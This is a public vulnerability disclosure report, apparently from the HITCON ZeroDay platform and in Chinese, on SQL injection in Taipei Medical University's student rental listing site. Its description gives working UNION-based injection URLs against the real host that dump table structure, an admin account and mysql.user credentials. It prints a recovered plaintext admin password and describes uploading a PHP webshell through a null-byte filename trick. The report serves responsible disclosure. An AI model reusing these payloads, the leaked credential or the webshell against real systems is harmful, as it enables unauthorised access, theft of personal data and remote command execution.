Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2019-00634
- Vendor: 臺北醫學大學
- Title: 北醫賃居資訊服務網 SQL Injection
- Introduction: 租賃清單 SQL Injection
處理狀態
目前狀態
公開
Last Update : 2019/08/30
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2019/06/30 16:54:56 : 新提交 (由 aw0 更新此狀態)
- 2019/06/30 22:15:39 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/07/01 01:07:16 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/07/01 01:07:16 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/07/01 01:07:16 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/07/01 07:43:09 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/08/30 03:00:10 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2019-00634
- 通報者:aw0tw (aw0)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://rent.tmu.edu.tw/tw/rent_list.php
http://rent.tmu.edu.tw/admin/news.php
http://rent.tmu.edu.tw/admin/news.php
敘述
Step 1 確認漏洞
漏洞頁面 http://rent.tmu.edu.tw/tw/rent_list.php
加上篩選器台北市、信義區後,接著在 zone2 參數加上單引號,出現錯誤 SQL systax error
http://rent.tmu.edu.tw/tw/rent_list.php?&zone1=台北市&zone2=信義區'&r_rent_value_type=0
Step 2 撈出後台帳密資訊
使用 Union Based SQL Injection
- 撈出資料庫中的資料表結構
http://rent.tmu.edu.tw/tw/rent_list.php?&zone1=台北市&zone2=信義區' UNION SELECT 1,2,3,4,5, 6,table_name,'//8',9,'10',11,12,13,14,15,column_name,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43 FROM information_schema.columns ORDER BY 1%23&r_rent_value_type=0&rent_money=5001%20~%2010000
rent databse 主要有兩張表與帳號相關,猜測後台帳號是 safe_admin_system_manager
| safe_admin_system_manager | safe_system_manager |
|---|---|
| ID | ID |
| user_name | user_name |
| PW | PW |
| m_id |
- 撈出後台帳號密碼
http://rent.tmu.edu.tw/tw/rent_list.php?&zone1=台北市&zone2=信義區' UNION SELECT 1,2,3,4,5, 6,CONCAT('user_name:' , user_name),'//8',9,'10',CONCAT('PW:', PW),12,13,14,15,CONCAT('ID:', ID),17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43 FROM safe_admin_system_manager ORDER BY 1%23&r_rent_value_type=0&rent_money=5001%20~%2010000
出現後臺管理 admin 帳號與未加密的密碼 :admin/jack9588
- 登入管理者帳號
http://rent.tmu.edu.tw/admin/index_login.php
點選左邊 sidebar 的 中文版消息,也有 SQL Injection
http://rent.tmu.edu.tw/admin/news.php?news_group=cht' UNION SELECT 1,CONCAT('user:',User,';','pass:',Password,';''host:', Host) ,3,4,5,6,7,8,9,10,11,12 FROM mysql.user ORDER BY 1 %23
Step 3 嘗試上傳 Webshell 控制主機
點選左邊 sidebar 的 中文版消息,新增一筆新聞且不置於首頁
至附加檔案 1 上傳 php 檔案,參數 Payload 為:
- 檔名
filename="testqq.php%00.pdf" - post body
<?php echo phpinfo();?>是可以成功執行的。
最後改傳 webshell
- 檔名
filename="testqq.php%00.pdf" - post body
<?php system($_POST['a']); ?>
上傳成功。
嘗試執行 webshell 成功
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。